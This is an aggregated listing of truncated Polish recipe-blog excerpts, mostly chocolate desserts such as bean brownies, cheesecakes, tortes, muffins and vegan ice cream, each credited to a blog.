fasola. Gdy zaniosłam ciasto do pracy, nikt nie czuł fasoli tylko banana. Zaskoczenie było duże gdy powiedziałam, że główny składnik to fasola, a banan jest jeden. Do tego jeszcze czekolada i niebo w gębie gwarantowane.  Składniki: 2 puszki czerwonej fasoli 1 banan 1/4 szklanki cukru 1 tabliczka mlecznej czekolady 2 łyżki kakao 1 łyżeczka proszku do pieczenia 3 jaja(...)szklanka oleju szczypta soli Przygotowanie: fasolę odsącz z zalewy na sitku w mikserze rozdrobnij czekoladę - Thermomix czas 15 s/ obr 3-4 dodaj fasolę i zblenduj - TM czas 30 s/obr 5 dodaj pozostałe składniki i dokładnie zblenduj - TM czas 2 min/obr 4 ciasto przelej do formy wyłożonej papierem do pieczenia i piecz w piekarniku rozgrzanym do 180 st przez

Gotowanie z pasją
oszukane brownie 111

fasola. Gdy zaniosłam ciasto do pracy, nikt nie czuł fasoli tylko banana. Zaskoczenie było duże gdy powiedziałam, że główny składnik to fasola, a banan jest jeden. Do tego jeszcze czekolada i niebo w gębie gwarantowane.  Składniki: 2 puszki czerwonej fasoli 1 banan 1/4 szklanki cukru 1 tabliczka mlecznej czekolady 2 łyżki kakao 1 łyżeczka proszku do pieczenia 3 jaja(...)szklanka oleju szczypta soli Przygotowanie: fasolę odsącz z zalewy na sitku w mikserze rozdrobnij czekoladę - Thermomix czas 15 s/ obr 3-4 dodaj fasolę i zblenduj - TM czas 30 s/obr 5 dodaj pozostałe składniki i dokładnie zblenduj - TM czas 2 min/obr 4 ciasto przelej do formy wyłożonej papierem do pieczenia i piecz w piekarniku rozgrzanym do 180 st przez

Gotowanie z pasją
Wegańskie lody o smaku masła orzechowego 127

masła orzechowego 1/2 łyżeczki soli (mniej jeśli używacie solonego masła orzechowego) 1/2 szklanki śmietanki kokosowej (można zastąpic tą samą ilością mleka roślinnego) Dodatki: garść suszonych daktyli 1 rządek czekolady 70% kakao + łyżeczka oleju kokosowego garść orzeszków solonych prażonych Lody: Daktyle zalewamy wrzątkiem, tak aby wszystkie owoce znalazły sie pod powierzchnią wody. Odstawiamy na min pół godziny. Banany obieramy ze skórki(...)kilka godzin), następnie blendujemy je na gładko razem z wodą w której się moczyły. Jeśli masa jest zbyt gęsta- dodajemy wody i jeszcze przez chwilę blendujemy. Polewa czekoladowa: czekoladę siekamy na drobne kawałki i roztapiamy w kąpieli wodnej razem z olejem kokosowym. Orzeszki: orzeszki wkładamy do torebeczki foliowej i kruszymy tłuczkiem do miesa na drobno. Całość: Lody nakładamy do pucharków

Zawsze głodna!
FIT BABECZKI JAGLANE W OWSIANYCH FOREMKACH 81

mleka. Gdy masa przestygnie blenduję ją, aby konsystencja była gładka i kremowa dodaję mleko Wypełniam foremki i wstawiam do lodówki. Polewa: 80 g. daktyli suszonych 1 kostka gorzkiej czekolady 1 łyżka oleju kokosowego ryż dmuchany do posypania daktyle zalewam na 15 minut wrzątkiem, odcedzam. Czekoladę i masło kokosowe rozpuszczam w kąpieli wodnej. Lekko przestudzoną czekoladę blenduję z daktylami. Polewam

Upiecz sobie babeczkę
POLEWA LUSTRZANA 157

znajdziesz przepis na  torcik . SKŁADNIKI: 1,5 łyżeczki żelatyny 2 łyżki wody 60 ml.  śmietany kremówki 36% 30 g. glukozy szczypta barwnika 100 g. białej czekolady PRZYGOTOWANIE: żelatynę rozpuszczam w wodzie, odstawiam w rondelku podgrzewam ciągle mieszając śmietankę, glukozę i barwnik kiedy się rozpuszczą dokładam połamana czekoladę, mieszajac podgrzewam do rozpuszczenia się czekolady podgrzewam chwilkę żelatynę i dodaję

Upiecz sobie babeczkę
MINI SERNICZKI NA SEZAMOWYM SPODZIE FIT 105

serowej delikatnie mieszając łyżką na końcu dodaję bakalie wylewam na sezamowe spody Piekę 35 minut   w 180 stopniach. Serniczki muszą ostygnąć w piekarniku. Po ostygnięciu możemy polać je czekoladą POLEWA CZEKOLADOWA: 100 g. gorzkiej czekolady  2 łyżki syropu z agawy lub  miodu 1 łyżka oleju kokosowego  PRZYGOTOWANIE: czekoladę rozpuszczam w kąpieli wodnej dodaję syrop i olej

Upiecz sobie babeczkę
SZYBKIE BABECZKI BANANOWE FIT 96

możesz cieszyć się mięciutkimi, puszystymi cudeńkami. Odchudzonymi cudeńkami. Szybko, łatwo i zdrowo. Zastanawiasz się jeszcze? SKŁADNIKI: 1,5 szklanki mąki 1,5 łyżeczki proszku do pieczenia pół tabliczki gorzkiej czekolady 2 jajka pół szklanki rozpuszczonego oleju kokosowego pół szklanki jogurtu miód 3/4 szklanki pół łyżeczki olejku waniliowego 3 dojrzałe banany ( rozgniecione widelcem) WYKONANIE:  włączam piekarnik na 180 stopni(...)miksuję jajka  z miodem, dodaję olej kokosowy, olejek waniliowy, jogurt mieszam mąkę z proszkiem do pieczenia dosypuję mąkę do masy jajecznej i mieszam łyżką dorzucam posiekaną czekoladę i rozgniecione banany mieszam wszystko i przekładam do papilotek piekę 20-25 minut do suchego patyczka SKŁADNIKI NA KREM 400 g jogurtu greckiego  2 dojrzałe banany 2 łyżki oleju kokosowego

Upiecz sobie babeczkę
"MIĘTUSKI " BABECZKI WYPEŁNIONE BUDYNIEM Z MIĘTOWYCH LANDRYNEK, OZDOBIONE ŚMIETANKOWĄ PIANKĄ 97

szklanki kakao 1 łyżeczka proszku do pieczenia 0,5 łyżeczki sody oczyszczonej 2 jajka 1 szklanka mleka 0,5 szklanki oleju 0k. 12 listków świeżej mięty 1 tabliczka czekolady WYKONANIE: włączam piekarnik na 180 stopni C siekam drobno listki mięty   rozpuszczam czekoladę w kąpieli wodnej mieszam mąkę,  kakao, proszek do pieczenia i sodę w drugiej misce miksuję(...)jajka z cukrem, dodaję mleko i olej stopniowo dodaje suche składniki cały czas miksując wsypuję listki mięty dolewam cienkim strumieniem roztopioną czekoladę Nakładam do papilotek,  piekę  20 minut w 180 stopniach. KREM LANDRYNKOWO- BUDYNIOWY: 180g. landrynek miętowych 1/4 szklanka wody 1 budyń śmietankowy 360 ml. mleka 150g. miękkiego masła 2 łyżki cukru   WYKONANIE:  landrynki rozpuszczam

Upiecz sobie babeczkę
Serniczek na zimno (bezglutenowy) 143

Składniki: (na 8 sztuk w foremkach do dużych muffinek , w 8 obręczach cukierniczych lub małej formie do tortu) spód: 150 g płatków kukurydzianych 150 g masła pół tabliczki białej czekolady masa serowa: 0,5 l śmietany 30 % 750 g sera sernikowego 3 łyżki cukru pudru sok z 1 cytryny lub limonki 5 łyżeczek żelatyny owoce (truskawki, granat, winogrona, borówki(...)takie jak macie)   Przygotowanie: Płatki kukurydziane rozdrabniamy blenderem. Masło i czekoladę rozpuszczamy w rondelku, wlewamy do płatków i mieszamy. Jeżeli nadal są zbyt sypkie trzeba dodać jeszcze masła. Im większe kawałki płatków tym trudniej je skleić i potrzeba do tego więcej masła. Dno foremek wysypujemy płatkami tak ok 1 cm warstwą i ubijamy. Wkładamy do lodówki. Żelatynę rozpuszczamy

Kulinarna Patilogia
Panna cotta w słoiczku 421

formie babeczki odwróconej do góry dnem. Jest bardzo delikatna i kremowa. Ja uwielbiam w każdej formie. Kto się skusi? PANNA COTTA Składniki: (4 porcje) 125 g białej czekolady 200 ml mleka 400 ml śmietany 30 6 g żelatyny 1/3 szkl wody 150 g malin 150 g truskawek 1 galaretka truskawkowa 1 szk wody (do galaretki) Przygotowanie: Białą czekoladę siekamy. Mleko(...)śmietanę podgrzewamy, ale nie gotujemy. Do ciepłej mieszanki dodajemy czekoladę , mieszamy do rozpuszczenia. Zdejmujemy z ognia dodajemy rozpuszczoną w gorącej wodzie (1/3 szkl) żelatynę, mieszamy. Studzimy, przelewamy do szklanek ustawionych pod kątem. Wstawiamy do lodówki. Kiedy krem zastygnie nalewamy warstwę galaretki z owocami. Galaretkę rozpuszczamy w 1 szkl gorącej wody. Truskawki i maliny miksujmy na mus blenderem. Dodajemy do galaretki

Bon appetit mon amie
Przepis #145 Czekoladowy deser z truskawkami 713

gorące dni. Więc - smacznego! Wartości odżywcze na 100 g: 297 kcal w tym: B: 10 g; W: 12 g; T: 22 g.   Składniki (3 porcje) - 70 g gorzkiej czekolady - 300 ml mleczka kokosowego - stałej części - 35 g syropu klonowego  - 30 g masła orzechowego - 20 g odżywki białkowej o czekoladowym smaku (to można pominąć) Wykonanie W kąpieli wodnej rozpuszczamy(...)czekoladę. Dodajemy syrop klonowy oraz masło orzechowe. Na koniec wlewamy mleczko kokosowe. Wszystko dokładnie rozpuszczamy. Na koniec wsypujemy odżywkę i mieszamy. Tak przygotowaną masę przelewamy do pucharków lub szklanek. Wkładamy do lodówki - najlepiej na całą noc. Przed podaniem dekorujemy truskawkami. Deser jest  bardzo łatwy w przygotowaniu a do jego zrobienia warto użyć dobrej jakościowo gorzkiej czekolady. Przed podaniem warto

Health-Fit-Life
Rabarbarowiec z kremem 108

Lekkie ciasto na biszkopcie z rabarbarem w roli głównej. Do tego szczypta czekolady i bezy domowe i wyszło pyszne połączenie. Na jednym  kawałku nie skończycie.     Biszkopt: 3 jajka wielkość M 3 łyżki cukru 3 łyżki mąki pszennej typ 500 1 łyżka mąki ziemniaczanej/ razem mąki pszennej i ziemniaczanej ma być 1/2 szklanki/ galaretka rabarbarowa: 2 galaretki truskawkowe(...)rabarbaru pokrojonego 4 łyżki cukru trzcinowego 1/2 cytryny Krem: 500 ml śmietanki kremówki 30 % 1 galaretka cytrynowa ciastka kakaowe typu petibery dekoracja: 50 g czekolady gorzkiej bezy Biszkopt: Jajka wyjmuje wcześniej z lodówki żeby miały temperaturę pokojową. Białka ubijam na sztywno, dodaję po łyżce cukru stopniowo i cały czas ubijam. Jak piana będzie lśniąca dodaję żółtka i już tylko mieszam

wesoła kuchnia
Ciasto z kremem rafaello i truskawkami 737

Biszkopt: 6 jajek 6 łyżek cukru 6 łyżek mąki pszennej 1 łyżeczka proszku do pieczenia Krem kokosowy: 500 ml zimnej kremówki 30% 2 śnieżki w proszku 100 g białej czekolady 100 g mielonych migdałów * 200 g wiórków kokosowych 100 ml adwokatu 2 galaretki truskawkowe 800 ml wrzątku truskawki Przygotowanie: Biszkopt: Białka ubić na sztywno, dodać cukier, żółtka i nadal ubijać(...)Piec około 25 min w 180 stopniach. Zimny biszkopt przekroić wzdłuż na 2 blaty. Galaretki rozpuścić w gorącej wodzie i odłożyć do stężenia. Krem kokosowy: W kąpieli wodnej rozpuścić czekoladę i odłożyć do przestudzenia. Zimną kremówkę ubić na sztywno ze śnieżkami. Cały czas ubijając wlewać małym strumieniem zimną ale płynną czekoladę. Wlać adwokat dodać zmielone migdały, wiórki kokosowe i krótko

Ala piecze i gotuje
Dzień Mamy -Tort... śmietana i mascarpone 183

ucieszyło się jej serduszko :) Biszkopt: jaja 5 szt mąka tortowa 7 łyżek cukier 2 łyżki Dodatkowo: śmietana 30% 500 ml mascarpone 500 g cukier 2 łyżki wiórka z czekolady zielone 100 g wiórka z czekolady różowe 50 g kajmak 2 łyżki masło 1 łyżka Poncz: sok z cytryny przegotowana woda ciepła cukier 2 łyżki  Najpierw robimy biszkopt: Jaja(...)dodajemy po łyżce do mascarpone i delikatnie mieszamy do połączenia. Dodajemy cukier aby nam osłodzić troszkę masę.  Biszkopt nasączamy ponczem każdy kawałek.Przekładamy naszą masą i dekorujemy . Obsypujemy czekolada kolorowa i robimy napis z rozpuszczonego kajmaku z masłem

Różowa kuchnia
Kakaowa tarta z kremem 197

włożyć do nagrzanego piekarnika i piec w 200 º C ok.15-20 minut.Wyjąć z piekarnika i ostudzić. Krem: 500 ml śmietanki 36 % 250 g serka mascarpone 100 g białej czekolady łyżka cukru z prawdziwą wanilią  4 łyżki soku z cytryny 1-2 łyżki cukru pudru śmietan-fix (opcjonalnie) truskawki do dekoracji lub inne owoce Czekoladę rozpuszczamy w kąpieli wodnej(...)odstawiamy do wystudzenia. Dobrze schłodzoną śmietankę ubijamy na sztywno z cukrem pudrem i wanilią. Serek mascarpone miksujemy z rozpuszczoną czekoladą i delikatnie łączymy ze śmietanką. Na koniec wlewamy dok z cytryny i ewentualnie śmietan-fix, jeżeli konsystencja będzie nie stabilna. Krem wykładamy na ciasto, wyrównujemy i dekorujemy truskawkami lub innymi owocami. Wstawiamy do lodówki

Anielskie wypieki
Bajeczne brownie o smaku espresso czyli Słodki Czwartek odc.152 136

krtanią. I choć już mówię prawie normalnie to cały czas odczuwam dyskomfort gdzieś tam w środku. Dobra, dobra, nie o mnie być tu miało tylko o cudownym połączeniu smaku czekolady i kawy.  To brownie to gliniasta, wilgotna bajka, poezja i czekoladowy obłęd! Przepis znalazłam na blogu Ósmy kolor tęczy . Bajeczne brownie o smaku espresso  170 g gorzkiej czekolady(...)kawy espresso (suchych ziaren) 100 g masła 250 g cukru 3 jajka 120 g mąki pszennej 35 g ciemnego kakao 1 szczypta soli Piekarnik nagrzewamy do 180 st. C. Czekoladę i masło wkładamy do miseczki i rozpuszczamy w kąpieli wodnej. Dodajemy mieloną kawę, cukier i mieszamy aż do rozpuszczenia się cukru. Dodajemy po jednym jajku za każdym razem mieszając

Dzieje kuchennej Wiewióry
Ciasto Ferrero Rocher (bez pieczenia) 8137

mocno czekoladowy a mały kawałek zaspokaja apetyt na słodycze.  250g herbatników kakaowych 1 puszka masy krówkowej czekoladowej 500g sera mascarpone 250ml śmietanki 30%  150g wafelków orzechowych bez czekolady  150g orzeszków ziemnych solonych 1 łyżka cukru pudru  12 pralinek do dekoracji 1 tabliczka mlecznej czekolady  1.  Orzeszki przekładamy do foliowego worka, tłuczkiem rozbijamy(...)herbatników. Wykładamy na nie masę z orzechami i wafelkami. Pokrywamy ją kolejną warstwą herbatników. Smarujemy je pozostałą masą kajmakową, przykrywamy kolejnymi herbatnikami. Na wierzchu smarujemy białą masą. Posypujemy startą czekoladą i pozostałymi orzechami. Dekorujemy pralinkami.  4. Ciasto wstawiamy do lodówki na kilka godzin, najlepiej na całą noc by herbatniki zmiękły

Szefowa kuchni
sernik chałwowy 169

śmietanki 30 % * 3/4 szklanki cukru * 5 dużych jajek * 1 opakowanie budyniu waniliowego * 2 łyżeczki ekstraktu z wanilii Na spód: * 20 dkg pokruszonych herbatników * 1/4 kostki masła Na polewę: * tabliczka czekolady mlecznej * 1/5 kostki masła * 2 łyżki wody * 2 łyżki cukru - opcjonalnie Herbatniki zblendowałam dość drobno. Masło rozpuściłam i połączyłam z ciastkami. Uzyskaną masą wylepiłam blaszkę ( 25x21 cm) wcześniej wyłożoną pergaminem(...)najniższej postawiłam naczynie żaroodporne z gorącą wodą. W takiej kąpieli parowej piekł się mój sernik chałwowy. Po wystudzeniu polałam polewą czekoladową. Masło dodałam do gorącej wody i wkruszyłam czekoladę. Mieszałam do rozpuszczenia się czekolady, ale nie gotowałam. Jeszcze ciepłą polewą polałam sernik. Wstawiłam do lodówki i na drugi dzień ciasto było gotowe do jedzenia. Smacznego życzę i udanego wypoczynku

Pieprzyć z Fantazją
Piętrowy tort komunijny 148

Biszkopt mały 5 jajek 100 g mąki tortowej 35 g mąki ziemniaczanej 160 g cukru szczypta soli Krem chałowowy 800 ml śmietany kremówki 500 g serka mascarpone 500 g czekolady mlecznej 500 g chałwy waniliowej Krem waniliowy 400 ml śmietany kremówki 250 g serka mascarpone 6 łyżek cukru pudru 2 łyżeczka ekstraktu z wanilii Frużelina malinowa 600 g malin(...)razem z formą na podłogę z wysokości około 60 cm. Odstawiamy do ostygnięcia. Biszkopt kroimy na 4 równe blaty. Krem chałwowy Do rondelka przelewamy śmietanę i dodajemy połamaną czekoladę. Podgrzewamy cały czas mieszając do momentu, aż czekolada się rozpuści i składniki dobrze połączą się. Pamiętajmy o tym, że śmietanki nie wolno zagotować. Śmietankę studzimy i wstawiamy do lodówki na minimum

Wędrówki po kuchni
Pyszne ciastka z czekoladą. 218

Bardzo proste i pyszne ciastka z gorzką czekoladą , niezbyt słodkie – ideał. Zwykle piekę je w rozmiarze XL ,bo takie smakują nam najbardziej. Składniki : na około 20 ciastek. 170 g miękkiego masła 0,5 szklanki ciemnego cukru 2 jajka 2 szklanki mąki pszennej 2 łyżki mąki ziemniaczanej lub budyniu w proszku 1 łyżeczka sody oczyszczonej 100 g gorzkiej czekolady startej(...)puszystą masę dodając cukier w dwóch częściach .Następnie jajka i zmiksować do połączenia się składników .Teraz mąkę w trzech częściach i również zmiksować do połączenia się masy .Na koniec czekoladę i zmiksować bardzo krótko. Masa jest dość luźna ,dlatego przekładamy ją na blaszkę wyłożoną papierem do pieczenia za pomocą dwóch łyżek i formujemy ciastko .Zachowujemy odstępy ,bo rosną!Pieczemy

Ladylaura.
Piankowy sernik 130

podpatrzyłam przepis na sernik..i postanowiłam zrobić..i tak też przy okazji powstały ciasteczka i tartaletki, bo 4 żółtka tu były niepotrzebne.Wg oryginalnego przepisu polewa była z czekolady ,a ja zrobiłam polewę kakaową i na oko i wyszła jakaś rzadka, co zresztą widać na zdjęciu.Ale i tak mam szczęście , że w ogóle udało mi się zrobić zdjęcie chociaż(...)niski, bo użyłam większej tortownicy. Polecam wypróbować, bo jest smaczny. 250 g twarogu 2 żółtka 6 białek szczypta soli 150 g cukru 1 łyżka mąki ziemniaczanej 100 g mlecznej czekolady Twaróg zmiksować z żółtkami, cukrem i mąką ziemniaczaną (tylko do połączenia składników). Białka ubić na sztywną pianę z dodatkiem szczypty soli. Ubite białka dodawać po łyżce do masy twarogowej. Mieszać

Moje domowe kucharzenie
Wegańskie muffinki kokosowe z jagodami i krówkami (bez laktozy, cukru białego, wegańskie) 119

pieczemy 😉 Obie miałyśmy ochotę na kokosowe ciacho, a że w zamrażarce miałyśmy jeszcze jagody to uznałyśmy, że to całkiem fajne połączenie. Do tego wegańskie krówki kokosowe i czekolada kokosowa Super Krówka sprawiły, że owocowe muffiny nabrały jeszcze karmelowego klimatu. Całość jest wegańska, słodka i przepyszna a robi się je w kilka minut 😍       Składniki(...)ksylitolu  -1/3 szkl. oleju -1 płaska łyżeczka proszku do pieczenia -1/2 łyżeczki sody Dodatkowo -jagody (mogą być mrożone) - wegańskie krówki kokosowe Super krówka - wegańska czekolada Super krówka Mąkę przesiać przez sito, dodać wiórki, ksylitol, proszek i sodę, wymieszać. Następnie dodać mleko kokosowe i olej. Masa ma być gęsta ale nie sucha. Sylikonowe foremki na muffiny wypełnić

Candy Pandas
Kokosowe kulki a’la Raffaello 112

jako baza do kremów do ciast. W ramach wydarzenia Ciasto na niedzielę – Słodkości bez pieczenia przygotowałam kokosowe kulki a’la Raffaello. Składniki na ok. 40 sztuk: - 200 g białej czekolady - 100 g miękkiego masła - 50 g cukru pudru - 1,5 szklanki wiórków kokosowych - ok. 40 szt. obranych migdałów Dodatkowo: - ok. ¾ szklanki wiórków kokosowych do obtoczenia kulek Czekoladę kroimy na kawałki(...)rozpuszczamy na parze, w kąpieli wodnej. W drugiej misce ucieramy robotem miękkie masło z cukrem pudrem. Dalej miksując dodajemy porcjami przestudzoną, ale płynną czekoladę. Dodajemy wiórki kokosowe – mieszamy łyżką do połączenia składników. Masę wstawiamy do stężenia na godzinę do lodówki. Po wyjęciu formujemy kulki umieszczając wewnątrz każdej migdał. Gotowe obtaczamy dokładnie we wiórkach kokosowych. Wstawiamy do lodówki, najlepiej na całą

mojewypiekiinietylko
Czekoladowe pancakesy wg Aleex 155

Zawsze, kiedy zapowiada się ciężki dzień, a dobry nastrój znika nie wiadomo gdzie, sięgam po odrobinę czekolady. Nie przepadam za nią, ale od czasu do czasu po prostu mam ochotę na kawałek tej lepkiej słodyczy. Ostatnio odkryłam przepis, który działa jeszcze lepiej niż czekolada na wszystkie smutki I zmartwienia – czekoladowe pancakesy. Są pyszne – intensywnie czekoladowe, puszyste, mięciutkie. Może macie ochotę(...)rózgową wymieszać ciasto na jednolitą masę. 5. Rozgrzać suchą patelnię, smażyć na niej pancakesy z obu stron. 6. Usmażone placuszki odkładać na stosik. 7. Podawać z dowolnymi dodatkami: nutellą, czekoladą. U mnie z cukrem pudrem I serkiem homogenizowanym. Smacznego

W mojej kuchni
Pyszne ciasto z kawą zbożową od Pani Zuzi 228

pieczenia 1 łyżka oleju Masa: 500 ml mleka 2 łyżki cukru 2 cukry wanilinowe 1 łyżka mąki pszennej 1 łyżka mąki ziemniaczanej 200 g masła Dodatkowo: 100-150 g czekolady mlecznej 50 g płatków migdałowych, podprażonych na rozgrzanej patelni, bez dodatku tłuszczu Białka ubijamy na sztywno z dodatkiem szczypty soli. Stopniowo dodajemy cukier. Żółtka rozcieramy z octem i proszkiem(...)takiej z okrągłą końcówką). Połowę gorącej masy budyniowej wlewamy na blat kawowy, wyrównujemy. Przykrywamy jasnym biszkoptem. Wylewamy resztę masy, równo rozprowadzamy, po czym dajemy na górę drugi kawowy biszkopt. Czekoladę roztapiamy w kąpieli wodnej. Wierzch ciasta dekorujemy polewą z roztopionej czekolady. Posypujemy podprażonymi płatkami migdałowymi

Smaki Na Talerzu
Torcik rabarbarowo-krówkowy 144

rabarbaru z galaretką , puszysty biszkopt niczym nie nasączony bo nie ma takiej potrzeby, warstwa słodziutkiego kremu krówkowego z mascarpone, jest idealny słodko-kwaśny, nic nie przesłodzony, polewa z gorzkiej czekolady dopełnia smaku. Ciężko odmówić sobie dokładki, słodka rozpusta do filiżanki popołudniowej  herbaty. Tortownica 24 cm Biszkopt: 3 jajka ¼ szklanki cukru ½ szklanki maki pszennej 1 łyżka mąki ziemniaczanej ½ łyżeczki proszku(...)rabarbaru ½ szklanki cukru ½ szklanki zimnej wody 1 cytrynowa galaretka Masa krówkowa: 25 dag serka mascarpone 25 dag kajmaku (masa krówkowa) 100 ml śmietany kremówki 30% Polewa: 50 g gorzkiej czekolady 2 łyżki śmietanki 30% Dodatkowo: Prażone na suchej patelni migdały do dekoracji Wykonanie torciku: Biszkopt: Wszystkie składniki do przygotowania biszkoptu musze mieć temperaturę pokojową.  Białka jaj oddzielamy od żółtek

Wanilia i Kardamon
GÓRKA WIŚNIOWO - CZEKOLADOWA 116

cukru (40 g) 3/4 szklanki cukru 1/2 l mleka 250 g margaryny  1 łyżka kakao 1 olejek spirytusowy rumowy Dodatkowo: 1 słoik dżemu wiśniowego  1/2 tabliczki czekolady gorzkiej  posypka waflowa np. żółta Przygotowanie: Biszkopt wiśniowy - Margarynę rozpuścić i odstawić do wystudzenia. Mąkę pszenną z budyniem wiśniowym i proszkiem do pieczenia, przesiać. Ubić jajka z cukrem i cukrem(...)masy czekoladowej. Na wierzch położyć trzeci blat ciasta, który również nasączyć i rozsmarować pozostałym kremem ciasto wierzch i cienką warstwę kremu boki tortu. Na koniec w kąpieli wodnej rozpuścić czekoladą i polać po kremie czekoladowym robiąc esy floresy. Na wierzch czekolady można posypać posypką waflową

Ciastka - domowe słodkości
Ciasto Poduszkowiec 2788

cukru – ok. 4/5 szklanki 1 łyżeczka proszku do pieczenia 125 ml oleju – pół szklanki 4 łyżeczki kakao 125 ml wody – pół szklanki pół tabliczki gorzkiej czekolady – 50g *szklanka o pojemności 250ml Składniki na masę serową: 500 g mielonego sera (ja użyłam twarogu z wiaderka), a jeśli używacie sera w kostce, to trzeba go zmielić co najmniej(...)krotnie 1 opakowanie budyniu waniliowego 100 g cukru zwykłego 1 opakowanie cukru wanilinowego (16g) Ciasto Poduszkowiec – Wykonanie: Jajka ubić wraz ze zwykłym cukrem na puszystą masę. Czekoladę roztopić w kąpieli wodnej. Do masy jajecznej dodać powoli strumieniem olej i wodę, a następnie roztopioną czekoladę i wymieszać do połączenia się składników. Kolejno dodać mąkę pszenną tortową, proszek do pieczenia

Kulinarne Przeboje
Zdrowy krem jaglany 166

podwieczorkiem. Ja mój deser zrobiłam z kaszy jaglanej od Podlaskich Zakładów Zbożowych S.A. Polecam Składniki 100 g kaszy jaglanej od PZZ S.A. 2 szkl mleka 100 g gorzkiej czekolady 72% 3 łyżki miodu garść migdałów Przygotowanie: Mleko wlewamy do rondelka i zagotowujemy. Do gotującego mleka wsypujemy kaszę jaglaną i gotujemy na małym ogniu ok. 15 minut. Zdejmujemy z ognia(...)gorącej kaszy dodajemy połamaną czekoladę, mieszamy, aż czekolada się rozpuści. Następnie przykrywamy garnek i odstawiamy na 15 minut. Po tym czasie dodajemy miód i mieszamy a następnie miksujemy na gładki krem. Przekładamy krem jaglany do pucharków. Migdały kroimy drobno i posypujemy deser. Smacznego Przepis na 3 porcje

słodkie i nie tylko historie kulinarne
Domowy kopiec kreta z truskawkami 209

masę : 0,5 kg truskawek 500 ml śmietany kremówki 30% 2 śmietan-fixy (lub zamiennie 2 łyżeczki żelatyny rozpuszczone w dwóch łyżkach wody) – ja używam śmietan-fixy 100 gram czekolady może być mleczna lub gorzka- ja użyłam mlecznej 4 łyżki cukru pudru     *** Wszystkie składniki na ciasto dokładnie mieszamy, aż powstanie jednolita masa.Ciasto wylewamy na wysmarowaną masłem i obsypaną(...)wydrążamy połowę ciasta za pomocą łyżki tak aby zostały nam około 2 centymetrowe brzegi i nienaruszony spód *** *** Na wydrążonym spodzie ciast układamy truskawki, tak aby pokryły całe dno ciasta *** *** Czekoladę kroimy na drobne kawałki *** *** Kremówkę ubijamy wraz cukrem pudrem i śmietan fixem a następnie mieszamy z pokrojoną czekoladą. Całą masę układamy na truskawkach tworząc kopiec *** *** Wierzch posypujemy rozkruszonym ciastem lekko

Blog z Apetytem
Sernikowe Brownie z Truskawkami 259

Sernikowe Brownie z Truskawkami – Zapraszam na pyszne, mocno czekoladowe ciasto z masą serową i truskawkami. Aromatyczne, wilgotne, rozpływa się w ustach. Taki jakby sernik na czekoladzie :) z soczystymi truskawkami. Deser prosty i szybki w przygotowaniu, zamiast truskawek można użyć malin lub brzoskwiń. Bardzo polecam… Zapraszam na FILM . Subskrybuj kanał Małej Cukierenki: http://www.youtube.com/malacukierenka (adsbygoogle = window.adsbygoogle || []).push({}); Sernikowe Brownie(...)Truskawkami Składniki: Brownie – ciasto czekoladowe: 200g gorzkiej czekolady 150g masła 2 płaskie łyżki kakao bez cukru 1 łyżka kawy rozpuszczalnej 3 jajka 180g jasnego brązowego cukru 100g mąki pszennej (użyłam tortowej) 100ml mleka Masa serowa: 250g serka mascarpone 250g gotowego sera na sernik 100g cukru 1 łyżeczka cukru wanilinowego 2 łyżeczki ekstraktu waniliowego (można użyć pasty waniliowej) 2 jajka

Mała Cukierenka
Przepis #137 Kremowe lody w polewie czekoladowej - bez śmietany 106

Składniki: - 150 ml mleczka kokosowego z puszki - 25 g masła orzechowego 100% - 20 g wiórek kokosowych - 1 łyżka syropu klonowego  Polewa - 40 g gorzkiej czekolady  - 1 łyżka oleju kokosowego Wykonanie W kąpieli wodnej rozpuszczamy mleczko kokosowe z syropem klonowym oraz masłem orzechowym. Mieszamy do połączenia składników. Na koniec dodajemy wiórki kokosowe. Całość mieszamy. Pozostawiamy do wystudzenia. Przestudzoną masę(...)przelewamy do foremek do lodów. Chowamy do zamrażalnika najlepiej na całą noc.  W rondelku rozpuszczamy gorzką czekoladę oraz olej kokosowy. Mieszamy do rozpuszczenia i połączenia składników. Tak przygotowaną polewą polewamy nasze lody.  Masa w środku jest kremowa a czekolada chrupiąca. To idealna alternatywa dla osób z nietolerancją laktozy. Warto ich spróbować! Smacznego

Health-Fit-Life
Ciasto czekoladowe z bezową chmurką 180

jajka 3 czubate łyżki kakao 1 łyżeczka proszku do pieczenia 1/2 szkl wody Wodę, cukier, masło, kakao zagotować i odstawić do wystygnięcia. Białka ubijamy na sztywno. Do przestudzonej czekolady dodajemy mąkę wymieszaną z proszkiem do pieczenia i cukrem waniliowym. Do białek dodajemy stopniowo żółtka i miksujemy. Białka z żółtkami dodajemy do czekolady, mieszamy. Pieczemy ciasto w formie wyłożonej papierem(...)słoik powideł śliwkowych.   Układamy ciasto: Zaczynamy od dołu: Ciasto czekoladowe (1/2 ciasta bo ciasto przekrawamy na pół) powidła śliwkowe masa kajmakowa beza masa kajmakowa ciasto czekoladowe polewamy ciasto czekoladą i posypujemy migdałami.   Artykuł Ciasto czekoladowe z bezową chmurką pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Dwukolorowe ciasto na budyniach 156

wielkanoc. Z powodzeniem można upiec je w formie na babkę i udekorować wedlug gustu. Cięższe i o zwartej konsystencji, ale wspaniale swieże i kruche. Połączone z polewą z mlecznej czekolady i płatkami migdałowymi świetnie pasuje do popołudniowej kawy. Ciasto piekłam w formie keksówce ok 30x10cm Składniki (10 porcji) -1,5 szkl. mąki -3/4 szkl. cukru -cukier wanilinowy -4 budynie(...)smietankowe -6 jajek -1 kostka margaryny -10 łyzek oleju -2 łyżeczki proszku do pieczenia -3 łyżki kakao -100 g mlecznej czekolady -100 ml śmietanki UHT -garść płatków migdałowych Przygotowanie Margarynę rozpuścić i odstawić do ostygnięcia. Białka oddzielić od żółtek. Białka ubić na pianę. Dodać cukier, cukier wanilinowy, proszek dopieczenia, mąkę, budynie, olej i żółtka. Miksować na małej mocy, pod koniec

Zielona Kuchnia
Brownie z fasoli (wegańskie, bezglutenowe) 253

pół szklanki oleju kokosowego 1 szklanka kakao 1/4 szklanki soku pomarańczowego 1/4 szklanki ksylitolu pół łyżeczki soli pół łyżeczki sody oczyszczonej pół łyżeczki proszku do pieczenia kilka kostek gorzkiej czekolady Przygotowanie: Piekarnik rozgrzać do temperatury 180°C.  Fasolę odsączyć na sicie i wypłukać. Następnie przełożyć ją do dużego naczynia malaksera, dodać wszystkie pozostałe składniki (oprócz czekolady) i wszystko zmiksować(...)gładką masę. Ciasto przełożyć do formy wysmarowanej olejem roślinnym i wyłożonej papierem do pieczenia. Wierzch posypać połamaną czekoladą. Piec przez ok. 40 min. Po Po wystudzeniu włożyć blachę z ciastem na ok. pół godz. do lodówki, dopiero po schłodzeniu kroić. Przechowywać w lodówce

Domowa Cookierenka Agi
